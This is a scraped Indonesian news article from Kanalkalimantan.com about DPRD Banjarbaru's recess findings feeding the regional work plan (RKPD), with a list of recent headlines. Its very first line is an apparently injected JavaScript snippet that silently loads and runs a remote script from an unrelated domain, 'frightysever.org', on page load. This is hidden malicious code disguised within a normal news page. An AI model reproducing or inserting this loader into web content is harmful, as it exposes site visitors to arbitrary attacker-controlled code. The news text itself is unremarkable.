(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
DPRD BANJARBARU

Pokir Anggota Dewan Masuk RKPD


KANALKALIMANTAN.COM, BANJARBARU – Wakil Ketua DPRD Kota Banjarbaru Napsiani Samandi mengatakan hasil reses anggota dewan menjadi pokok pikiran (Pokir) yang masuk dalam Rencana Kerja Pemerintah Daerah (RKPD).

“Setiap anggota dewan melakukan reses menyerap aspirasi masyarakat di daerah pemilihan. Hasil akhirnya yang akan menjadi Pokir dan dimasukan dalam RKPD,” ujarnya di Banjarbaru, Kamis (18/8/2022).

Salah satu mekanisme yang digunakan DPRD Banjarbaru untuk menyusun pokok pikiran yakni melalui reses setiap anggota dewan melalui kunjungan yang dilakukan di daerah pemilihan.

Menurut Napsiani, kegiatan menjaring aspirasi warga di Dapil dilengkapi laporan reses yang di dalamnya tertuang usulan Pokir yang disampaikan pada rapat paripurna DPRD.

 

 

Baca juga: Belum Ada Kesepakatan, Organda Banjarbaru Larang BRT Beroperasi di Koridor 2

“Sesuai Permendagri 86 tahun 2017 pasal 178 nomor 2 menyebutkan Pokir DPRD, diselaraskan dengan sasaran dan prioritas pembangunan, serta ketersediaan kapasitas riil anggaran,” ungkapnya.

Hasil reses yang jadi Pokir DPRD diwujudkan dalam bentuk program dan kegiatan yang dimasukkan ke dalam APBD kemudian dilaksanakan SKPD.

Tidak semua aspirasi atau keinginan masyarakat dapat direalisasikan karena hasil reses disampaikan kepada Pemko yang menyinergikan dengan hasil rapat Musrenbang.

“Musrenbang juga berjenjang mulai dari tingkat kelurahan, kecamatan hingga tingkat kota yang disesuaikan dengan visi misi kepala daerah hingga masuk dalam RKPD,” ungkapnya.

Pencapaian target kinerja pada setiap program dan kegiatan merupakan tanggung jawab SKPD bersangkutan yang ditetapkan kepala daerah dalam dokumen rencana tahunan.

“Artinya, pokir DPRD tercantum dalam peraturan kepala daerah tentang RKPD, sehingga pencapaian target merupakan tanggung jawab OPD atau SKPD sebagai bagian dari eksekutif atau pemerintah,” katanya.

Baca juga: Jumpa PMR Kalsel Terbuka, Diikuti 600 Peserta Wira dan Madya Kalsel-Teng 

Pokir sering dipahami keliru karena tidak membaca aturan dan kurangnya informasi terkait peran dan fungsi anggota dewan dalam pengalokasian sumber daya pada anggaran belanja dalam APBD. (Kanalkalimantan.com/al)

Reporter : al
Editor : kk


Risa

Recent Posts

Masjid Agung Al Akbar Balangan Sedia 200 Porsi Berbuka Puasa

KANALKALIMANTAN.COM, PARINGIN - Selama bulan Ramadan 1447 Hijriah, pengelola Masjid Agung Al Akbar Balangan menyediakan… Read More

3 jam ago

‎Pemkab HSU Berikan Bonus Rp13,6 Miliar untuk Atlet‎ dan Pelatih

KANALKALIMANTAN.COM, AMUNTAI - ‎‎Senyum kegembiraan terpancar dari para atlet, salah satunya atlet renang, Putri yang… Read More

4 jam ago

Pemkab Kapuas Tetapkan Tiga Lokasi Pasar Ramadan, Ini Lokasinya

KANALKALIMANTAN.COM, KUALA KAPUAS - Pemerintah Kabupaten Kapuas menetapkan tiga lokasi pelaksanaan Pasar Ramadan 1447 Hijriah… Read More

15 jam ago

Bagian Umum Pengadaan Dua Kamera Mirrorless, Wali Kota Banjarmasin Tak Tahu

KANALKALIMANTAN.COM, BANJARMASIN – Pengadaan kamera mirrorless dua unit seharga Rp132.690.000 oleh Pemerintah Kota (Pemko) Banjarmasin… Read More

16 jam ago

Mahasiswa Banjarmasin Suarakan Keresahan Masyarakat di Balai Kota

Minta Pemko Banjarmasin Aktifkan Kembali 64 Ribu BPJS Warga Read More

18 jam ago

Kasus Pencabutan SHM Transmigran Sepihak di Kotabaru, Kementrans Kirim Tim Investigasi

KANALKALIMANTAN.COM, JAKARTA - Kementerian Transmigrasi (Kementrans) turun tangan langsung menangani kasus pencabutan Sertipikat Hak Milik… Read More

1 hari ago

This website uses cookies.